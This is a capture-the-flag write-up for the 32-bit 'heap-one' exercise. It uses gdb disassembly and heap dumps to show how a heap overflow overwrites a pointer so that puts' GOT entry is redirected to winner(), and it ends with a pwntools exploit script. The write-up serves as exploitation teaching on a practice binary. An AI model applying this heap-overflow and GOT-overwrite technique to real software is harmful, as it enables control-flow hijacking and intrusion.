x86 32bit version of the heap-one exercise.
Now we understand how the program works after reading the source code it might be a good ideia to also take a look into the assembly code.
Let's open the program in gdb and run it with regular arguments, just to start our dynamic analysis.
(gdb) set args AAAA BBBB
(gdb) r
This time the program won't give up any useful information like in heap-zero, so it's gdb-fu time. Let's disassemble the main function as usual.
(gdb) disas main
Dump of assembler code for function main:
0x080487d5 <+0>: lea ecx,[esp+0x4]
0x080487d9 <+4>: and esp,0xfffffff0
0x080487dc <+7>: push DWORD PTR [ecx-0x4]
0x080487df <+10>: push ebp
0x080487e0 <+11>: mov ebp,esp
0x080487e2 <+13>: push ebx
0x080487e3 <+14>: push ecx
0x080487e4 <+15>: sub esp,0x10
0x080487e7 <+18>: mov ebx,ecx
0x080487e9 <+20>: sub esp,0xc
0x080487ec <+23>: push 0x8
0x080487ee <+25>: call 0x80490dc <malloc>
0x080487f3 <+30>: add esp,0x10
0x080487f6 <+33>: mov DWORD PTR [ebp-0xc],eax
0x080487f9 <+36>: mov eax,DWORD PTR [ebp-0xc]
0x080487fc <+39>: mov DWORD PTR [eax],0x1
0x08048802 <+45>: sub esp,0xc
0x08048805 <+48>: push 0x8
0x08048807 <+50>: call 0x80490dc <malloc>
0x0804880c <+55>: add esp,0x10
0x0804880f <+58>: mov edx,eax
0x08048811 <+60>: mov eax,DWORD PTR [ebp-0xc]
0x08048814 <+63>: mov DWORD PTR [eax+0x4],edx
0x08048817 <+66>: sub esp,0xc
0x0804881a <+69>: push 0x8
0x0804881c <+71>: call 0x80490dc <malloc>
0x08048821 <+76>: add esp,0x10
0x08048824 <+79>: mov DWORD PTR [ebp-0x10],eax
0x08048827 <+82>: mov eax,DWORD PTR [ebp-0x10]
0x0804882a <+85>: mov DWORD PTR [eax],0x2
0x08048830 <+91>: sub esp,0xc
0x08048833 <+94>: push 0x8
0x08048835 <+96>: call 0x80490dc <malloc>
0x0804883a <+101>: add esp,0x10
0x0804883d <+104>: mov edx,eax
0x0804883f <+106>: mov eax,DWORD PTR [ebp-0x10]
0x08048842 <+109>: mov DWORD PTR [eax+0x4],edx
0x08048845 <+112>: mov eax,DWORD PTR [ebx+0x4]
0x08048848 <+115>: add eax,0x4
0x0804884b <+118>: mov edx,DWORD PTR [eax]
0x0804884d <+120>: mov eax,DWORD PTR [ebp-0xc]
0x08048850 <+123>: mov eax,DWORD PTR [eax+0x4]
0x08048853 <+126>: sub esp,0x8
0x08048856 <+129>: push edx
0x08048857 <+130>: push eax
0x08048858 <+131>: call 0x8048560 <[email protected]>
0x0804885d <+136>: add esp,0x10
0x08048860 <+139>: mov eax,DWORD PTR [ebx+0x4]
0x08048863 <+142>: add eax,0x8
0x08048866 <+145>: mov edx,DWORD PTR [eax]
0x08048868 <+147>: mov eax,DWORD PTR [ebp-0x10]
0x0804886b <+150>: mov eax,DWORD PTR [eax+0x4]
0x0804886e <+153>: sub esp,0x8
0x08048871 <+156>: push edx
0x08048872 <+157>: push eax
0x08048873 <+158>: call 0x8048560 <[email protected]>
0x08048878 <+163>: add esp,0x10
0x0804887b <+166>: sub esp,0xc
0x0804887e <+169>: push 0x804ab70
0x08048883 <+174>: call 0x80485b0 <[email protected]>
0x08048888 <+179>: add esp,0x10
0x0804888b <+182>: mov eax,0x0
0x08048890 <+187>: lea esp,[ebp-0x8]
0x08048893 <+190>: pop ecx
0x08048894 <+191>: pop ebx
0x08048895 <+192>: pop ebp
0x08048896 <+193>: lea esp,[ecx-0x4]
0x08048899 <+196>: ret
End of assembler dump.
As we already know, our goal here is to call the winner function, and as I explained before, we have an arbitrary write primitive in our hands. One easy way of abusing this is overwriting the address of some other function that will be called with the address of winner(), for example, that being said, our best choice would be puts(), since it will be called short after our input is copied. For that we'll need to find the Global Offset Table (GOT) entry for puts().
(gdb) disas 0x80485b0
Dump of assembler code for function [email protected]:
0x080485b0 <+0>: jmp DWORD PTR ds:0x804c140
0x080485b6 <+6>: push 0x28
0x080485bb <+11>: jmp 0x8048550
End of assembler dump.
(gdb) x 0x804c140
0x804c140 <[email protected]>: 0x080485b6
The address we want to overwrite can be found at 0x804c140. We also need the address of the winner function since it is the value we want to write.
(gdb) x winner
0x804889a <winner>: 0x83e58955
And winner() can be found at 0x804889a. Perfect! Now let's take a good look at the heap layout to more easily calculate our padding, to do this I'll set a breakpoint after the last malloc and also another one after each strcpy().
(gdb) b*0x0804883a
Breakpoint 1 at 0x804883a
(gdb) b*0x0804885d
Breakpoint 2 at 0x804885d
(gdb) b*0x08048878
Breakpoint 3 at 0x8048878
Taking a look at the heap after our first breakpoint:
(gdb) x/64wx 0xf7e69000
0xf7e69000: 0x00000000 0x00000011 0x00000001 0xf7e69018
0xf7e69010: 0x00000000 0x00000011 0x00000000 0x00000000
0xf7e69020: 0x00000000 0x00000011 0x00000002 0x00000000
0xf7e69030: 0x00000000 0x00000011 0x00000000 0x00000000
0xf7e69040: 0x00000000 0x000fffc1 0x00000000 0x00000000
0xf7e69050: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e69060: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e69070: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e69080: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e69090: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e690a0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e690b0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e690c0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e690d0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e690e0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e690f0: 0x00000000 0x00000000 0x00000000 0x00000000
Now let's break it down:
At this point the first strcpy() did not happen yet. As we predicted, the second word of the first chunk is a pointer to WHERE to write the user input, and we should expect a similar structure on i2 (the second chunk). Now we know where our argv[1] goes (0xf7e69018) and we can easily predict where our juicy pointer will be, we can calculate our offset, i2->name will be the word after the second priority (2), meaning it's address will be 0xf7e6902c. This reveals that we want to write 20 bytes of junk + the address where we want to write ([email protected]) and argv[2] will be the value we want to write (*winner).
The expected heap layout right before the last strcpy() is the following:
0xf7e69000: 0x00000000 0x00000011 0x00000001 0xf7e69018
0xf7e69010: 0x00000000 0x00000011 0x41414141 0x41414141
0xf7e69020: 0x41414141 0x41414141 0x41414141 0x0804c140
0xf7e69030: 0x00000000 0x00000011 0x00000000 0x00000000
0xf7e69040: 0x00000000 0x000fffc1 0x00000000 0x00000000
with that layout, whatever value we provide in our second argument will be written to [email protected], so we simply need to provide the address of winner as the second argument.
Putting it all together we come down to the following exploit code:
#!/usr/bin/env python
from pwn import *
junk = 'A'*20
got_puts = p32(0x804c140)
dest = junk + got_puts
winner = p32(0x804889a)
p = process(['./heap-one', dest, winner])
out = p.recv(1024)
print out
Winner Winner Chicken Dinner! 🥳 Lessons learned, pay attention to any write actions that use pointers you might be able to overwrite, those tend to be very interesting.
Copy link